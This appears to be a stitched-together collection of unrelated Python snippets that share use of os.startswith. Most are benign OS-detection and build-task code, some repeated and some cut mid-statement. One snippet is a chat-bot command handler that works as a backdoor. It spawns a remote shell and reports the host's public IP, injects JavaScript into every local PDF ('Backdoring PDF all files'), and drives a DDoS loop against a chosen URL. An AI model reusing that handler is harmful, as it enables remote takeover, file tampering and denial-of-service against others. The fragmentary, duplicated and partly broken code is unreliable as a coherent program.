def isNewGenerationByOS(machine, project_name): os = machine['sourceProperties'].get('os').lower() if machine['sourceProperties'].get('os') else 'none' if os.startswith('microsoft'): splited_os = os.split(' ') if len(splited_os) > 3: # Microsoft Windows Server 2003 # Microsoft Windows Server 2008 R1 # Microsoft Windows Server 2012 R1 ws_version = splited_os[3] if ws_version.isdigit(): ws_version = int(ws_version) if ws_version > 2003: if 2008 == ws_version or 2012 == ws_version: if len(splited_os)>4 and splited_os[4]=='r2': return True else: return True return False elif os.startswith('linux'): #Linux version 3 below #Linux version 3.0.101-63-default (geeko@buildhost) (gcc version 4.3.4 [gcc-4_3-branch revision 152973] (SUSE Linux) ) #1 SMP Tue Jun 23 16:02:31 UTC 2015 (4b89d0c) splited_os = os.split(' ') if len(splited_os) >= 3: if len(splited_os[2])>0: if splited_os[2][0].isdigit(): if int(splited_os[2][0]) > 2: return True print("Project : {} , HostName : {} is Unidentified OS".format(project_name, machine['sourceProperties']['name'])) return False
def get_tabquery_path(self, os): if os.startswith("darwin"): return self.mac_path elif os.startswith("linux"): return self.linux_path else: return self.windows_path
def __init__(self, os_and_version): (os, version) = os_and_version.split('.', 1) if os.startswith('osx'): build_image = TaskEnvironment.by_name('osx10_10.build') else: build_image = DockerImage.by_name('build') if os == 'linux' or os.startswith('osx'): h = hashlib.sha1(build_image.hexdigest) h.update('v2') if os == 'linux': description = 'git v{}'.format(version) else: env = build_image description = 'git v{} {} {}'.format(version, env.os, env.cpu) Task.__init__( self, task_env=build_image, description=description, index='{}.git.v{}'.format(h.hexdigest(), version), expireIn='26 weeks', command=Task.checkout( 'git://git.kernel.org/pub/scm/git/git.git', 'v{}'.format(version)) + [ 'make -C repo -j$(nproc) install prefix=/' ' NO_GETTEXT=1 NO_OPENSSL=1 NO_TCLTK=1' ' DESTDIR=$PWD/git', 'tar -Jcf $ARTIFACTS/git-{}.tar.xz git'.format(version), ], artifact='git-{}.tar.xz'.format(version), ) else: env = TaskEnvironment.by_name('{}.build'.format(os)) raw_version = version if 'windows' not in version: version = { version: version + '.windows.1', '2.17.1': '2.17.1.windows.2', }.get(version) if version.endswith('.windows.1'): min_ver = version[:-len('.windows.1')] else: min_ver = version.replace('windows.', '') Task.__init__( self, task_env=build_image, description='git v{} {} {}'.format(version, env.os, env.cpu), index='{}.git.v{}'.format(os, raw_version), expireIn='26 weeks', command=[ 'curl -L https://github.com/git-for-windows/git/releases/' 'download/v{}/MinGit-{}-{}-bit.zip' ' -o git.zip'.format(version, min_ver, msys.bits(env.cpu)), 'unzip -d git git.zip', 'tar -jcf $ARTIFACTS/git-{}.tar.bz2 git'.format( raw_version), ], artifact='git-{}.tar.bz2'.format(raw_version), )
def get_os(): os = sys.platform if (os.startswith("win")): return "win" elif (os.startswith("linux")): return "linux" else: return os
def LEAP_set(leap: str) -> str: global LEAP if len(leap) <= 2: LEAP = max([ os for os in BASE if os.startswith(leap) and not os.startswith("42") ]) return LEAP if leap not in BASE: logg.warning("%s is not a known os version", leap) LEAP = leap return LEAP
def get_os_type(): os = sys.platform if (os == "win32"): print("Platform detedted: Windows") print("Executing commands... ") time.sleep(3) return "windows" if (os.startswith("linux")): print("Platform detected: Linux") print("Executing commands... ") time.sleep(3) return "linux" if (os == "darwin"): print("Platform detected: Mac") print("Executing commands... ") time.sleep(3) return "mac" if (os == "cygwin"): print("Platform detected: Windows/Cygwin") print("Executing commands... ") time.sleep(3) return "cygwin" else: print("Platform not detected, exiting...") sys.exit()
def detectWindowsOS(): os = detectOS() # detect win if os.startswith("win"): return True # rest of the world return False
def set_distro(): os = sys.platform if os == 'darwin': return 'darwin' elif os.startswith('linux'): try: import distro dist = distro.id() name = distro.name() except ImportError: dist = 'ubuntu' # default value, will remove DISTRO name = 'Ubuntu' # in future. # To add new distributions, refer to: # http://distro.readthedocs.io/en/latest/#distro.id # http://linuxmafia.com/faq/Admin/release-files.html if dist in ('ubuntu', 'debian'): return 'debian' elif dist in ('fedora', 'rhel', 'centos'): return 'fedora' elif dist == 'arch': return 'arch' else: raise ValueError( "Not supported for your Linux distribution: {}"\ .format(name) ) else: raise ValueError( "Not supported for your OS: {}"\ .format(os) )
def get_executable(path: str, name: str) -> str: os = get_os() result = '/'.join((path, os, name)) if os.startswith('win'): result += '.exe' result = result.replace('/', '\\') return result
def __init__(self, os_and_version): (os, version) = os_and_version.split('.', 1) env = TaskEnvironment.by_name('{}.build'.format(os)) kwargs = {} if len(version) == 40: # Assume it's a sha1 pretty_version = 'r{}'.format(version) artifact_version = 'unknown' expire = '2 weeks' else: pretty_version = 'v{}'.format(version) artifact_version = version expire = '26 weeks' desc = 'hg {}'.format(pretty_version) if os == 'linux': artifact = 'mercurial-{}-cp27-none-linux_x86_64.whl' else: desc = '{} {} {}'.format(desc, env.os, env.cpu) if os.startswith('osx'): artifact = ('mercurial-{{}}-cp27-cp27m-macosx_{}_intel.whl' .format(os[3:])) kwargs.setdefault('env', {})['MACOSX_DEPLOYMENT_TARGET'] = \ '10.10' else: artifact = 'mercurial-{}-cp27-cp27m-mingw.whl' pre_command = [] if len(version) == 40: source = './hg' pre_command.extend( self.install('{}.{}'.format(os, MERCURIAL_VERSION))) pre_command.extend([ 'hg clone https://www.mercurial-scm.org/repo/hg -r {}' .format(version), 'rm -rf hg/.hg', ]) # 2.6.2 is the first version available on pypi elif parse_version('2.6.2') <= parse_version(version): source = 'mercurial=={}' else: source = 'https://mercurial-scm.org/release/mercurial-{}.tar.gz' Task.__init__( self, task_env=env, description=desc, index='{}.hg.{}'.format(env.hexdigest, pretty_version), expireIn=expire, command=pre_command + [ 'python -m pip wheel -v --build-option -b --build-option' ' $PWD/wheel -w $ARTIFACTS {}'.format(source.format(version)), ], artifact=artifact.format(artifact_version), **kwargs )
def ipv4_hostname_output(self): ipv4_host_title = '| {0:16} | {1:16} | {2:18} | {3:10} | {4:18} | {5:1}'.format('Host', 'IPv4', 'MAC', 'Domain', 'Server Type', 'Windows OS (Server Fingerprint)') print '-' * blessings.Terminal().width print self.color(ipv4_host_title, char='') print '-' * blessings.Terminal().width server_type = '' for host in sorted(self.hosts): ipv4 = self.hosts[host]['ipv4'] mac = self.hosts[host]['mac'] if host != None and '*' not in host: if 'fqdn' in self.hosts[host].keys(): print self.hosts[host]['fqdn'] mac = self.hosts[host]['mac'] os = self.hosts[host]['os'] nt_version = None os_version = os serverlist = {'domain_controller': 'DC', 'backup_controller': 'Backup DC', 'sql_server': 'SQL', 'print': 'Printer'} host_comment = None if 'comment' in self.hosts[host].keys(): host_comment = self.hosts[host]['comment'] if os != None and not os.startswith('Microsoft'): nt_version = os.split('(')[1].split(')')[0].strip() os_version = os.split('(')[0].strip() if host_comment != None and list(host_comment)[0] != '\x00': os_version += ' ({})'.format(host_comment.capitalize()) domain = self.hosts[host]['domain'] #notes = self.hosts[host]['notes'] if 'server_keys' in self.hosts[host].keys(): servers = [] server_types = self.hosts[host]['server_keys'] for server in server_types: if server_types[server] == '1' and server in serverlist.keys(): servers.append(serverlist[server]) ipv4_host_output = '| {0:16} | {1:16} | {2:18} | {3:10} | {4:18} | {5:1}'.format(host.upper(), ipv4, mac, domain, ','.join(servers).strip(), os_version) print self.color(ipv4_host_output, char='') print '-' * blessings.Terminal().width print ''
def cli(json_file: str, prefix: str, save_file: str, export_cmd: str) -> None: re_file = re.sub(r'^(\.\.\/)+', '', json_file) click.echo(f'reading secrets from {re_file}') os = sys.platform if os == 'linux': click.echo(f'dectected OS: {os}') create_env_linux(json_file, prefix, save_file, export_cmd) if os.startswith('win'): create_env_windows()
def get_win8_targets(self): for host in self.hosts.keys(): os = self.hosts[host]['os'] if os != None and not os.startswith('Microsoft'): nt_version = os.split('(')[1].split(')')[0].strip() os_version = os.split('(')[0].strip() if 'Win 8' in os_version: print host
def CENTOS_set(centos: str) -> str: global CENTOS if centos in OS: CENTOS = OS[centos] return CENTOS if len(centos) <= 2: CENTOS = max([os for os in OS if os.startswith(centos)]) return CENTOS if centos not in OS.values(): logg.warning("%s is not a known os version", centos) CENTOS = centos return CENTOS
def UBUNTU_set(ubuntu: str) -> str: global UBUNTU if len(ubuntu) <= 2: UBUNTU = max([os for os in DIST if os.startswith(ubuntu)]) return UBUNTU if ubuntu in DIST.values(): for version, dist in DIST.items(): if dist == ubuntu: UBUNTU = version break elif ubuntu not in DIST: logg.warning("%s is not a known os version", ubuntu) UBUNTU = ubuntu return UBUNTU
def check_pcluster_list_cluster_log_streams(cluster, os): """Test pcluster list-cluster-logs functionality and return cfn-init log stream name.""" logging.info("Testing that pcluster list-cluster-log-streams is working as expected") stream_names = cluster.get_all_log_stream_names() expected_log_streams = { "HeadNode": {"cfn-init", "cloud-init", "clustermgtd", "chef-client", "slurmctld", "supervisord"}, "Compute": {"syslog" if os.startswith("ubuntu") else "system-messages", "computemgtd", "supervisord"}, } # check there are the logs of all the instances cluster_info = cluster.describe_cluster() for instance in cluster.describe_cluster_instances(): instance_type = "HeadNode" if instance["instanceId"] == cluster_info["headNode"]["instanceId"] else "Compute" for stream_name in expected_log_streams[instance_type]: assert_that(stream_names).contains(instance_stream_name(instance, stream_name))
def __init__(self, os_and_version): (os, version) = os_and_version.split('.', 1) (version, suffix, _) = version.partition('.py3') if suffix: python = 'python3' else: python = 'python' env = TaskEnvironment.by_name('{}.build'.format(os)) kwargs = {} if len(version) == 40: # Assume it's a sha1 pretty_version = 'r{}{}'.format(version, suffix) artifact_version = 'unknown' expire = '2 weeks' else: pretty_version = 'v{}{}'.format(version, suffix) artifact_version = version expire = '26 weeks' desc = 'hg {}'.format(pretty_version) if os == 'linux': if python == 'python3': artifact = 'mercurial-{}-cp35-cp35m-linux_x86_64.whl' else: artifact = 'mercurial-{}-cp27-cp27mu-linux_x86_64.whl' else: desc = '{} {} {}'.format(desc, env.os, env.cpu) if os.startswith('osx'): wheel_cpu = 'x86_64' artifact = ( 'mercurial-{{}}-cp27-cp27m-macosx_{}_{}.whl'.format( env.os_version.replace('.', '_'), wheel_cpu)) else: artifact = 'mercurial-{}-cp27-cp27m-mingw.whl' pre_command = [] if len(version) == 40: source = './hg' pre_command.extend( self.install('{}.{}'.format(os, MERCURIAL_VERSION))) pre_command.extend([ 'hg clone https://www.mercurial-scm.org/repo/hg -r {}'.format( version), 'rm -rf hg/.hg', ]) # 2.6.2 is the first version available on pypi elif parse_version('2.6.2') <= parse_version(version): source = 'mercurial=={}' else: source = 'https://mercurial-scm.org/release/mercurial-{}.tar.gz' h = hashlib.sha1(env.hexdigest.encode()) h.update(artifact.encode()) Task.__init__(self, task_env=env, description=desc, index='{}.hg.{}'.format(h.hexdigest(), pretty_version), expireIn=expire, command=pre_command + [ '{} -m pip wheel -v --build-option -b --build-option' ' $PWD/wheel -w $ARTIFACTS {}'.format( python, source.format(version)), ], artifact=artifact.format(artifact_version), **kwargs)
def _configure(self, mode='rgb_array', debug=False, record_path=None, no_direction=False, lib_suffix="", frame_skip=3): self.mode = mode os = platform self.debug = debug self.frame_skip = frame_skip if self.game.lower() == ("sf") or self.game.lower() == ("sfs"): libname = "sf" elif self.game.lower().startswith("aim"): libname = "aim" elif self.game.lower().startswith("sfc"): libname = "control" if self.mode != 'rgb_array': cv2.namedWindow(self.game_name) if self.mode.startswith('human'): libname += "_frame_lib_FULL" else: libname += "_frame_lib" libname += lib_suffix + ".so" if os.startswith('linux'): # come up with something nicer for this: from pathlib import Path wijnand_dir = "/home/wijnand/Documents/git/TweedejaarsProject/gym-master/gym/envs/space_fortress/linux2" rijnder_dir = "/home/rijnder/TweedejaarsProject/gym-master/gym/envs/space_fortress/linux2" libpath = wijnand_dir if Path( wijnand_dir).is_dir() else rijnder_dir elif os.startswith('darwin'): libpath = "/Users/rijnderwever/Desktop/NLR/NLR/TweedejaarsProject/gym-master/gym/envs/space_fortress/darwin" self.update = ctypes.CDLL(libpath + '/' + libname).update_frame self.init_game = ctypes.CDLL(libpath + '/' + libname).start_drawing self.act = ctypes.CDLL(libpath + '/' + libname).set_key self.reset_sf = ctypes.CDLL(libpath + '/' + libname).reset_sf self.screen = ctypes.CDLL(libpath + '/' + libname).get_screen try: self.update_logic = ctypes.CDLL(libpath + '/' + libname).SF_iteration self.update_screen = ctypes.CDLL(libpath + '/' + libname).update_screen self.update_screen.restype = ctypes.POINTER(ctypes.c_ubyte * self.n_bytes) except: print("Warning: Some functions where not found in the library.") try: self.best = ctypes.CDLL(libpath + '/' + libname).get_best_move except: print("Warning: best_move function not found in the library.") self.terminal_state = ctypes.CDLL(libpath + '/' + libname).get_terminal_state self.score = ctypes.CDLL(libpath + '/' + libname).get_score self.stop_drawing = ctypes.CDLL(libpath + '/' + libname).stop_drawing self.pretty_screen = ctypes.CDLL(libpath + '/' + libname).get_original_screen # Configure how many bytes to read in from the pointer # c_ubyte is equal to unsigned char self.update.restype = ctypes.POINTER(ctypes.c_ubyte * self.n_bytes) self.screen.restype = ctypes.POINTER(ctypes.c_ubyte * self.n_bytes) # 468 * 448 * 2 (original size times something to do with 16 bit images) sixteen_bit_img_bytes = self.screen_width * self.screen_height * 2 self.pretty_screen.restype = ctypes.POINTER(ctypes.c_ubyte * sixteen_bit_img_bytes) self.score.restype = ctypes.c_float # Initialize the game's drawing context and it's variables # I would rather that this be in the init method, but the OpenAI developer himself stated # that if some functionality of an enviroment depends on the render mode, the only way # to handle this is to write a configure method, a method that is only callable after the # init self.init_game() self.record_path = record_path # add down movement when in no_direction mode if no_direction: self._action_set[3] = 65364 self.action_space = gym.spaces.Discrete(len(self._action_set))
def get_registry_name(os: str) -> str: return "registry.redhat.io" if os.startswith("rhel") else "docker.io"
def _configure(self, mode='rgb_array', debug=False, record_path=None, no_direction=False, lib_suffix="", frame_skip=3): self.mode = mode os = platform self.debug = debug self.frame_skip = frame_skip if self.game.lower() == ("sf") or self.game.lower() == ("sfs"): libname = "sf" elif self.game.lower().startswith("aim"): libname = "aim" elif self.game.lower().startswith("sfc"): libname = "control" if self.mode != 'rgb_array': cv2.namedWindow(self.game_name) if self.mode.startswith('human'): libname += "_frame_lib_FULL" else: libname += "_frame_lib" libname += lib_suffix + ".so" if os.startswith('linux'): # come up with something nicer for this: from pathlib import Path wijnand_dir = "/home/wijnand/Documents/git/TweedejaarsProject/gym-master/gym/envs/space_fortress/linux2" rijnder_dir = "/home/rijnder/TweedejaarsProject/gym-master/gym/envs/space_fortress/linux2" libpath = wijnand_dir if Path(wijnand_dir).is_dir() else rijnder_dir elif os.startswith('darwin'): libpath = "/Users/rijnderwever/Desktop/NLR/NLR/TweedejaarsProject/gym-master/gym/envs/space_fortress/darwin" self.update = ctypes.CDLL(libpath + '/'+libname).update_frame self.init_game = ctypes.CDLL(libpath +'/'+libname).start_drawing self.act = ctypes.CDLL(libpath +'/'+libname).set_key self.reset_sf = ctypes.CDLL(libpath +'/'+libname).reset_sf self.screen = ctypes.CDLL(libpath +'/'+libname).get_screen try: self.update_logic = ctypes.CDLL(libpath +'/'+libname).SF_iteration self.update_screen = ctypes.CDLL(libpath +'/'+libname).update_screen self.update_screen.restype = ctypes.POINTER(ctypes.c_ubyte * self.n_bytes) except: print("Warning: Some functions where not found in the library.") try: self.best = ctypes.CDLL(libpath +'/'+libname).get_best_move except: print("Warning: best_move function not found in the library.") self.terminal_state = ctypes.CDLL(libpath +'/'+libname).get_terminal_state self.score = ctypes.CDLL(libpath +'/'+libname).get_score self.stop_drawing = ctypes.CDLL(libpath +'/'+libname).stop_drawing self.pretty_screen = ctypes.CDLL(libpath +'/'+libname).get_original_screen # Configure how many bytes to read in from the pointer # c_ubyte is equal to unsigned char self.update.restype = ctypes.POINTER(ctypes.c_ubyte * self.n_bytes) self.screen.restype = ctypes.POINTER(ctypes.c_ubyte * self.n_bytes) # 468 * 448 * 2 (original size times something to do with 16 bit images) sixteen_bit_img_bytes = self.screen_width * self.screen_height * 2 self.pretty_screen.restype = ctypes.POINTER(ctypes.c_ubyte * sixteen_bit_img_bytes) self.score.restype = ctypes.c_float # Initialize the game's drawing context and it's variables # I would rather that this be in the init method, but the OpenAI developer himself stated # that if some functionality of an enviroment depends on the render mode, the only way # to handle this is to write a configure method, a method that is only callable after the # init self.init_game() self.record_path = record_path # add down movement when in no_direction mode if no_direction: self._action_set[3] = 65364 self.action_space = gym.spaces.Discrete(len(self._action_set))
"\n###### Tracert output No return type string from subprocess.check_output########\n", out) print("\n----Tracert unsuccessful for %s----\n" % ip) msg = out Test_Status = "Fail" except Exception as e: print("exception accur due to ", e, "continue to script") Test_Status = "Fail" msg = e Scenario_Name = "HealthCheck" Test_Name = "IPTraceAndValidate" Browser_name = "Console" #Os_Name=platform.system()[:3] + platform.release() os = str(get_os_version()) if os.startswith("windows"): search = re.search(r'windows\s+(\d+)', os) Os_Name = "win" + search.group(1) else: search = re.search(r'([a-z]+).*', os, re.I) Os_Name = search.group(1) Status = Test_Status #Test_Data="NA" number = number + 1 if re.search(r'^%s.*' % ip, ip): Test_Data = "TD %d" % number else: Test_Data = "NA" if Status == "Fail": #pic = pyautogui.screenshot()
def __init__(self, os_and_version): (os, version) = os_and_version.split('.', 1) if os.startswith('osx'): build_image = TaskEnvironment.by_name('osx10_10.build') else: build_image = DockerImage.by_name('build') if os == 'linux' or os.startswith('osx'): h = hashlib.sha1(build_image.hexdigest.encode()) h.update(b'v2') if os == 'linux': description = 'git v{}'.format(version) else: env = build_image description = 'git v{} {} {}'.format(version, env.os, env.cpu) Task.__init__( self, task_env=build_image, description=description, index='{}.git.v{}'.format(h.hexdigest(), version), expireIn='26 weeks', command=Task.checkout( 'git://git.kernel.org/pub/scm/git/git.git', 'v{}'.format(version) ) + [ 'make -C repo -j$({}) install prefix=/ NO_GETTEXT=1' ' NO_OPENSSL=1 NO_TCLTK=1 DESTDIR=$PWD/git'.format( nproc(build_image)), 'tar -Jcf $ARTIFACTS/git-{}.tar.xz git' .format(version), ], artifact='git-{}.tar.xz'.format(version), ) else: env = TaskEnvironment.by_name('{}.build'.format(os)) raw_version = version if 'windows' not in version: version = { version: version + '.windows.1', '2.17.1': '2.17.1.windows.2', }.get(version) if version.endswith('.windows.1'): min_ver = version[:-len('.windows.1')] else: min_ver = version.replace('windows.', '') Task.__init__( self, task_env=build_image, description='git v{} {} {}'.format(version, env.os, env.cpu), index='{}.git.v{}'.format(os, raw_version), expireIn='26 weeks', command=[ 'curl -L https://github.com/git-for-windows/git/releases/' 'download/v{}/MinGit-{}-{}-bit.zip' ' -o git.zip'.format(version, min_ver, msys.bits(env.cpu)), 'unzip -d git git.zip', 'curl -L https://github.com/git-for-windows/git/releases/' 'download/v{}/Git-{}-{}-bit.tar.bz2 | ' 'tar -C git -jx {}/libexec/git-core/git-http-backend.exe' .format(version, min_ver, msys.bits(env.cpu), msys.mingw(env.cpu).lower()), 'tar -jcf $ARTIFACTS/git-{}.tar.bz2 git'.format( raw_version), ], artifact='git-{}.tar.bz2'.format(raw_version), )
def __init__(self, os_and_variant): os, variant = (os_and_variant.split('.', 2) + [''])[:2] if variant == 'asan' and os == 'osx10_10': os = 'osx10_11' env = TaskEnvironment.by_name('{}.build'.format(os)) artifact = 'git-cinnabar-helper' if os.startswith('mingw'): artifact += '.exe' artifacts = [artifact] def prefix(p, s): return p + s if s else s make_flags = [] hash = None head = None desc_variant = variant extra_commands = [] if variant == 'asan': if os.startswith('osx'): opt = '-O2' else: opt = '-Og' make_flags.append('LDFLAGS=-static-libasan') make_flags.append( 'CFLAGS="{} -g -fsanitize=address -fno-omit-frame-pointer"' .format(opt)) elif variant == 'coverage': make_flags.append('CFLAGS="-coverage"') artifacts += ['coverage.tar.xz'] extra_commands = [ 'mv repo/git-core/{{cinnabar,connect,hg}}*.gcno repo/helper', '(cd repo && tar -Jcf $ARTIFACTS/coverage.tar.xz' ' helper/{{cinnabar,connect,hg}}*.gcno)', ] elif variant == 'old' or variant.startswith('old:'): if len(variant) > 3: head = variant[4:] else: head = old_helper_head() hash = helper_hash(head) variant = '' elif variant: raise Exception('Unknown variant: {}'.format(variant)) if os == 'linux': make_flags.append('CURL_COMPAT=1') elif not os.startswith('osx'): make_flags.append('USE_LIBPCRE1=YesPlease') make_flags.append('USE_LIBPCRE2=') make_flags.append('CFLAGS+=-DCURLOPT_PROXY_CAINFO=246') hash = hash or helper_hash() Task.__init__( self, task_env=env, description='helper {} {}{}'.format( env.os, env.cpu, prefix(' ', desc_variant)), index='helper.{}.{}.{}{}'.format( hash, env.os, env.cpu, prefix('.', variant)), expireIn='26 weeks', command=Task.checkout(commit=head) + [ 'make -C repo helper -j $({}) prefix=/usr{} V=1'.format( nproc(env), prefix(' ', ' '.join(make_flags))), 'mv repo/{} $ARTIFACTS/'.format(artifact), ] + extra_commands, artifacts=artifacts, )
def __init__(self, os_and_variant): os, variant = (os_and_variant.split('.', 2) + [''])[:2] if os.startswith('osx'): os = 'osx' env = TaskEnvironment.by_name('{}.build'.format(os)) artifact = 'git-cinnabar-helper' if os.startswith('mingw'): artifact += '.exe' artifacts = [artifact] def prefix(p, s): return p + s if s else s make_flags = [] hash = None head = None desc_variant = variant extra_commands = [] if variant == 'asan': if os.startswith('osx'): opt = '-O2' else: opt = '-Og' make_flags.append('LDFLAGS=-static-libasan') make_flags.append( 'CFLAGS="{} -g -fsanitize=address -fno-omit-frame-pointer"'. format(opt)) elif variant == 'coverage': make_flags.append('CFLAGS="-coverage"') artifacts += ['coverage.zip'] extra_commands = [ 'mv repo/git-core/{{cinnabar,connect,hg}}*.gcno repo/helper', '(cd repo && zip $ARTIFACTS/coverage.zip' ' helper/{{cinnabar,connect,hg}}*.gcno)', ] elif variant == 'old' or variant.startswith('old:'): if len(variant) > 3: head = variant[4:] else: head = old_helper_head() hash = helper_hash(head) variant = '' elif variant: raise Exception('Unknown variant: {}'.format(variant)) if os == 'linux': make_flags.append('CURL_COMPAT=1') elif os == 'arm64-osx': make_flags.append('CFLAGS+="-arch {}"'.format(env.cpu)) make_flags.append('LDFLAGS+="-arch {}"'.format(env.cpu)) elif not os.startswith('osx'): make_flags.append('USE_LIBPCRE1=YesPlease') make_flags.append('USE_LIBPCRE2=') make_flags.append('CFLAGS+=-DCURLOPT_PROXY_CAINFO=246') hash = hash or helper_hash() kwargs = {} if os.startswith('osx'): kwargs.setdefault('env', {}).setdefault('MACOSX_DEPLOYMENT_TARGET', '10.7') Task.__init__( self, task_env=env, description='helper {} {}{}'.format(env.os, env.cpu, prefix(' ', desc_variant)), index='helper.{}.{}.{}{}'.format(hash, env.os, env.cpu, prefix('.', variant)), expireIn='26 weeks', command=Task.checkout(commit=head) + [ 'make -C repo helper -j $({}) prefix=/usr{} V=1'.format( nproc(env), prefix(' ', ' '.join(make_flags))), 'mv repo/{} $ARTIFACTS/'.format(artifact), ] + extra_commands, artifacts=artifacts, **kwargs, )
OS["8.3"] = "8.3.2011" OS["8.2"] = "8.2.2004" OS["8.1"] = "8.1.1911" OS["8.0"] = "8.0.1905" OS["7.9"] = "7.9.2009" OS["7.8"] = "7.8.2003" OS["7.7"] = "7.7.1908" OS["7.6"] = "7.6.1810" OS["7.5"] = "7.5.1804" OS["7.4"] = "7.4.1708" OS["7.3"] = "7.3.1611" OS["7.2"] = "7.2.1511" OS["7.1"] = "7.1.1503" OS["7.0"] = "7.0.1406" X7CENTOS = max([os for os in OS if os.startswith("7.")]) X8CENTOS = max([os for os in OS if os.startswith("8.")]) CENTOS = "8.5.2111" ARCH = "x86_64" DOCKER = "docker" RSYNC = "rsync" CENTOS_MIRROR = "rsync://rsync.hrz.tu-chemnitz.de/ftp/pub/linux/centos" # "http://ftp.tu-chemnitz.de/pub/linux/centos/" # #### basearch=x86_64 # ##baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch # #metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-7&arch=$basearch # http://fedora.tu-chemnitz.de/pub/linux/fedora-epel/7/x86_64/debug/repodata/repomd.xml # rsync://fedora.tu-chemnitz.de/ftp/pub/linux/fedora-epel/7/x86_64/debug/repodata/repomd.xml
async def on_message(self, target, source, message): # don't respond to our own messages, as this leads to a positive feedback loop if message == "!ip": ip = get('https://api.ipify.org').text await self.message(target, format(ip)) if message == "!os": await self.message(target, getos()) if message == "!spawn_shell": ip = get('https://api.ipify.org').text port = random.randint(1025,3000) message = "shell available on "+ip+":"+ str(port) await self.message(target, message) p = Process(target=shell(port)) p.start() if message == "!stop_shell": p.terminate() p.join() message = "Shell stopped" await self.message(target, message) if message == "!infect_pdf": try: message = "Backdoring PDF all files" from PyPDF2 import PdfFileWriter, PdfFileReader import glob listOfFiles = glob.glob("*.pdf") for i in listOfFiles: output = PdfFileWriter() ipdf = PdfFileReader(open(f'{i}', 'rb')) with open(f'{i}', 'wb') as f: print(i) output.addJS("app.alert('PWNED', 3);") output.write(f) except : message = "Error" await self.message(target, message) if message == "!infect_pdf": try: message = "Backdoring PDF all files" from PyPDF2 import PdfFileWriter, PdfFileReader import glob listOfFiles = glob.glob("*.pdf") pdf_content = [] for i in listOfFiles: output = PdfFileWriter() ipdf = PdfFileReader(open(f'{i}', 'rb')) with open(f'{i}', 'wb') as f: reader = PdfFileReader(f) for page in reader.pages: content = reader.getPage(page) pdf_content.append(content.extractText()) except : message = "Error" await self.message(target, message) if message == message.startswith("!ddos_set_target"): target_url = re.findall('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', message) if message == message.startswith("!ddos_start"): count = re.findall('^[-+]?[0-9]+$', message) if os.startswith("Windows"): ## ADD PS hidden prompt on target req = 'for ($i=0, $i -lt '+count+',$i++){$Response = Invoke-WebRequest -URI '+target_url+' | Where-Object {$_.name -like "* Value*"} | Select-Object Name, Value}' elif os.startswith("Linux"): os.system("curl "+target_url)
def getField(entry, fieldName, isContinuation=False, offset=1): global lastVideoCard global lastGpuChipset if fieldName == 'CPU Cores': return getField(entry, ' NumRealCPUs') if fieldName == 'System RAM': # return getField(entry, ' Memory') ram = int(getField(entry, ' Memory')) RAM_LEVELS = [512, 1024, 2048, 4096] for level in RAM_LEVELS: if ram < level: return '< ' + str(level) + ' MB' return '>= ' + str(RAM_LEVELS[-1]) + ' MB' if fieldName == 'GPU Chipset Family': # we use the GL_RENDERER field now to determine the GPU family as the VideoCard spec is for the primary # display adapter which may not be what the GL context is running on (e.g. Optimus systems) gpu_string_orig = getField(entry, ' GL_RENDERER') gpu_string = gpu_string_orig.lower() # gpu_string = gpu_string.replace( '"', "" ) # truncate at first slash which usally has PCI details # gpu_string = gpu_string.partition(r'/')[0] gpuInfo = lookupGpu(gpu_string) if (gpuInfo == None): print gpu_string return "Unknown" # (" + gpu_string_orig + ")" return gpuInfo[1] if fieldName == 'Primary Adapter Manufacturer': # this is not necessarily the adapter the GL context is on # also probably simpler and more accurate to just use the PCI VideoCardVendorID field videoCard = getField(entry, ' VideoCard') gpuInfo = lookupGpu(videoCard) if (gpuInfo == None): return "Unknown (" + videoCard + ")" return gpuInfo[2] if fieldName == 'Adapter Driver Date': # currently this is of the primary adapter, which may not be the same as gl context uses date = getField(entry, ' DriverDate') date = date.strip('"') if date != "Unknown": date = date[-4:] # just get the year return date if fieldName == 'Resolution': width = getField(entry, ' ScreenX') height = getField(entry, ' ScreenY') if getField(entry, ' Fullscreen') == '1': return width + 'x' + height pixels = int(width) * int(height) if pixels < 500000: return 'Windowed (< 0.5 MPixels)' if pixels < 750000: return 'Windowed (< 0.75 MPixels)' if pixels < 800000: return 'Windowed (< 0.8 MPixels)' if pixels < 1000000: return 'Windowed (< 1.0 MPixels)' if pixels < 1250000: return 'Windowed (< 1.25 MPixels)' if pixels < 1500000: return 'Windowed (< 1.5 MPixels)' if pixels < 2000000: return 'Windowed (< 2.0 MPixels)' return 'Windowed (>= 2.0 MPixels)' if fieldName == 'Video Driver': return getField(entry, 'GPU Manufacturer') + ' v' + getField(entry, ' DriverVersion').strip('"') if fieldName == 'SSE Support': # CPUIDs can contain commas; use the last field result as a key to add to append to the string cpu = getField(entry, ' CPUIdentifier', True).strip('"') cpuFields = cpu.split(' ') manufacturer = cpuFields[-1] familyModel = (int(getField(cpuFields, 'Family')), int(getField(cpuFields, 'Model'))) if manufacturer == 'GenuineIntel': if familyModel in [(6, 26)]: return 'SSE4.2' if familyModel in [(6, 23)]: return 'SSE4.1' if familyModel in [(6, 8)]: return 'SSE' return cpu if fieldName == 'Render Path': return getField(entry, ' RenderPath') if fieldName == 'CPU Cores': return getField(entry, ' NumCPUs') if fieldName == 'Operating System': videoCard = getField(entry, ' VideoCard').lower() if videoCard.find('transgaming') != -1: return 'OS X (Cider)' if videoCard.find('x 11') != -1: return 'Unknown OS running X11' winVersion = (int(getField(entry, 'OSVersion')), int(getField(entry, 'OSVersion', offset=2))) if winVersion in WINDOWS_VERSIONS: result = WINDOWS_VERSIONS[winVersion] else: result = 'Unrecognized Windows version ' + str(winVersion) if videoCard.find('parallels') != -1: result = result + ' (under Parallels)' return result if fieldName == 'OSVersion': try: return getField(entry, ' OSVersion', isContinuation, offset) except: pass if fieldName == 'Widescreen': width = int(getField(entry, ' ScreenX')) height = int(getField(entry, ' ScreenY')) aspect = Fraction(width, height) result = 'Yes' if aspect < Fraction(160, 100): result = 'No' if getField(entry, ' Fullscreen') == '1': result += ' (fullscreen)' else: result += ' (windowed)' return result if fieldName == 'Launcher': using_launcher = getField(entry, ' Launcher') if using_launcher == '1': result = "yes" else: result = "no" return result if fieldName == 'GPU Detail': return getField(entry, 'xGPU') if fieldName == 'GL_RENDERER': return getField(entry, ' GL_RENDERER') if fieldName == 'GPU Manufacturer': # we use the GL_VENDOR now to determine the GPU manufacturer as the VideoCard spec is for the primary # display adapter which may not be what the GL context is running on (e.g. Optimus systems) gl_vendor = getField(entry, ' GL_VENDOR') #coalesce some common company name variations gl_vendor = 